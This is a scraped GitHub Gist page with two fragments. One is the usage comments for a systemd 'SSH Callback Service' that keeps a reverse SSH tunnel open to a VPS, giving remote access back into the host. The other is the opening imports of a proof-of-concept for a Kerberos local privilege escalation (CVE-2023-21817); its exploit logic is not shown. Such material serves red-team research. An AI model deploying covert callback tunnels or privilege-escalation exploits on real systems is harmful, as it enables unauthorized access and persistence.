Skip to content

Instantly share code, notes, and snippets.

View ustayready's full-sized avatar

ustayready ustayready

View GitHub Profile
# SSH Callback Service
# Replace HOSTNAME with the VPS you're connecting to
# Replace USERNAME with your user on the VPS
# Replace LOCALUSER (or the whole path) to point to the private key for USERNAME on HOSTNAME
# Usage:
# - Try the SSH manually first, as the root user, so the VPS can be added to the known_hosts file
# - `systemctl enable callback.service`, `systemctl start callback.service`
# - SSH to the VPS from your system, and `ssh USER@127.0.0.1 -p22000 -i KEYNAME`, where USER is a user on the distant system and KEYNAME is an accepted key for that user
# Troubleshooting:
# - Ensure "GatewayPorts" is set to "Yes" in /etc/ssh/sshd_config on the VPS
@rvrsh3ll
rvrsh3ll / urbandoor.cs
Created April 11, 2023 00:16 — forked from monoxgas/urbandoor.cs
Minimal PoC code for Kerberos Unlock LPE (CVE-2023-21817)
using NtApiDotNet;
using NtApiDotNet.Ndr.Marshal;
using NtApiDotNet.Win32;
using NtApiDotNet.Win32.Rpc.Transport;
using NtApiDotNet.Win32.Security.Authentication;
using NtApiDotNet.Win32.Security.Authentication.Kerberos;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server;
using NtApiDotNet.Win32.Security.Authentication.Logon;
using System;